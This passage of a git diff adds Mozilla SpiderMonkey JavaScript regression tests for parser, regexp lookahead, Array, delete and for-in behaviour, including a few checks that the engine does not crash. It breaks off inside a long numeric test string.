+
+ // text is do do ... do print("TEST"); while(0); while(0); ... while(0);
+ var text = buffer.join('');
+
+ eval(text);
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-256617.js b/js/src/tests/non262/regress/regress-256617.js
new file mode 100644
index 0000000000..6dfc44bece
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-256617.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// should fail with syntax error. won't run in browser...
+var BUGNUMBER = 256617;
+var summary = 'throw statement: eol should not be allowed';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'syntax error';
+
+try
+{
+ eval('throw\n1;');
+ actual = 'throw ignored';
+}
+catch(e)
+{
+ if (e instanceof SyntaxError)
+ {
+ actual = 'syntax error';
+ }
+ else
+ {
+ actual = 'no error';
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-256798.js b/js/src/tests/non262/regress/regress-256798.js
new file mode 100644
index 0000000000..3926c40eb1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-256798.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 256798;
+var summary = 'regexp zero-width positive lookahead';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+
+status = summary + ' ' + inSection(1);
+expect = 'aaaa,a';
+actual = /(?:(a)+)/.exec("baaaa") + '';
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2);
+expect = ',aaa';
+actual = /(?=(a+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3);
+expect = 'b,aaa';
+actual = /b(?=(a+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
+
+// XXXbc revisit this
+status = summary + ' ' + inSection(4);
+expect = 'null';
+actual = /b(?=(b+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-259935.js b/js/src/tests/non262/regress/regress-259935.js
new file mode 100644
index 0000000000..174ba37f44
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-259935.js
@@ -0,0 +1,42 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 259935;
+var summary = 'document.all can be easily detected';
+var actual = '';
+var expect = 'not detected';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ document = {};
+}
+
+function foo() {
+ this.ie = document.all;
+}
+
+var f = new foo();
+
+if (f.ie) {
+ actual = 'detected';
+} else {
+ actual = 'not detected';
+}
+
+reportCompare(expect, actual, summary);
+
+f = {ie: document.all};
+
+if (f.ie) {
+ actual = 'detected';
+} else {
+ actual = 'not detected';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-260541.js b/js/src/tests/non262/regress/regress-260541.js
new file mode 100644
index 0000000000..fc696ba253
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-260541.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// have not been able to reproduce the crash in any build.
+var BUGNUMBER = 260541;
+var summary = 'Recursive Error object should not crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var myErr = new Error( "Error Text" );
+myErr.name = myErr;
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-261886.js b/js/src/tests/non262/regress/regress-261886.js
new file mode 100644
index 0000000000..45fbf27e6a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-261886.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 261886;
+var summary = 'Always evaluate delete operand expression';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {a:1};
+
+expect = 2;
+try
+{
+ delete ++o.a;
+ actual = o.a;
+}
+catch(e)
+{
+ actual = o.a;
+ summary += ' ' + e;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-261887.js b/js/src/tests/non262/regress/regress-261887.js
new file mode 100644
index 0000000000..f0b4a68981
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-261887.js
@@ -0,0 +1,36 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from Oscar Fogelberg <osfo@home.se>
+var BUGNUMBER = 261887;
+var summary = 'deleted properties should not be visited by for in';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var count = 0;
+var result = "";
+var value = "";
+
+var t = new Object();
+t.one = "one";
+t.two = "two";
+t.three = "three";
+t.four = "four";
+
+for (var prop in t) {
+ if (count==1) delete(t.three);
+ count++;
+ value = value + t[prop];
+ result = result + prop;
+}
+
+expect = 'onetwofour:onetwofour';
+actual = value + ':' + result;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-271716-n.js b/js/src/tests/non262/regress/regress-271716-n.js
new file mode 100644
index 0000000000..f936d3081b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-271716-n.js
@@ -0,0 +1,27 @@
+// |reftest| skip -- never terminates
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 271716;
+var summary = 'Don\'t Crash on infinite loop creating new Arrays';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ a = new Array();
+ while (1) a = new Array(a);
+ actual = 'No Crash';
+}
+catch(e)
+{
+ actual = 'No Crash';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-274035.js b/js/src/tests/non262/regress/regress-274035.js
new file mode 100644
index 0000000000..00fcb1a04c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-274035.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274035;
+var summary = 'Array.prototype[concat|slice|splice] lengths';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' Array.prototype.concat.length ';
+expect = 1;
+actual = Array.prototype.concat.length;
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' Array.prototype.slice.length ';
+expect = 2;
+actual = Array.prototype.slice.length;
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' Array.prototype.splice.length ';
+expect = 2;
+actual = Array.prototype.splice.length;
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/non262/regress/regress-274888.js b/js/src/tests/non262/regress/regress-274888.js
new file mode 100644
index 0000000000..568c1becfd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-274888.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274888;
+var summary = 'Negative lookahead should match at positions > approx. 64k';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re;
+var status;
+var s;
+
+re = /(?!\d)a/;
+status = summary + ' ' + inSection(1) + ' /(?!\\d)a/.text("12345a")';
+s = '12345a';
+
+expect = true;
+actual = re.test(s);
+
+reportCompare(expect, actual, status);
+
+re = /(?!\d)a/;
+status = summary + ' ' + inSection(2) + ' ' + '/(?!\\d)a/.text("1...ka")';
+s = '12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316731773187319732073217322732373247325732673277328732973307331733273337334733573367337733873397340734173427343734473457346734773487349735073517352735373547355735673577358735973607361736273637364736573667367736873697370737173727373737473757376737773787379738073817382738373847385738673877388738973907391739273937394739573967397739873997400740174027403740474057406740774087409741074117412741374147415741674177418741974207421742274237424742574267427742874297430743174327433743474357436743774387439744074417442744374447445744674477448744974507451745274537454745574567457745874597460746174627463746474657466746774687469747074717472747374747475747674777478747974807481748274837484748574867487748874897490749174927493749474957496749774987499750075017502750375047505750675077508750975107511751275137514751575167517751875197520752175227523752475257526752775287529753075317532753375347535753675377538753975407541754275437544754575467547754875497550755175527553755475557556755775587559756075617562756375647565756675677568756975707571757275737574757575767577757875797580758175827583758475857586758775887589759075917592759375947595759675977598759976007601760276037604760576067607760876097610761176127613761476157616761776187619762076217622762376247625762676277628762976307631763276337634763576367637763876397640764176427643764476457646764776487649765076517652765376547655765676577658765976607661766276637664766576667667766876697670767176727673767476757676767776787679768076817682768376847685768676877688768976907691769276937694769576967697769876997700770177027703770477057706770777087709771077117712771377147715771677177718771977207721772277237724772577267727772877297730773177327733773477357736773777387739774077417742774377447745774677477748774977507751775277537754775577567757775877597760776177627763776477657766776777687769777077717772777377747775777677777778777977807781778277837784778577867787778877897790779177927793779477957796779777987799780078017802780378047805780678077808780978107811781278137814781578167817781878197820782178227823782478257826782778287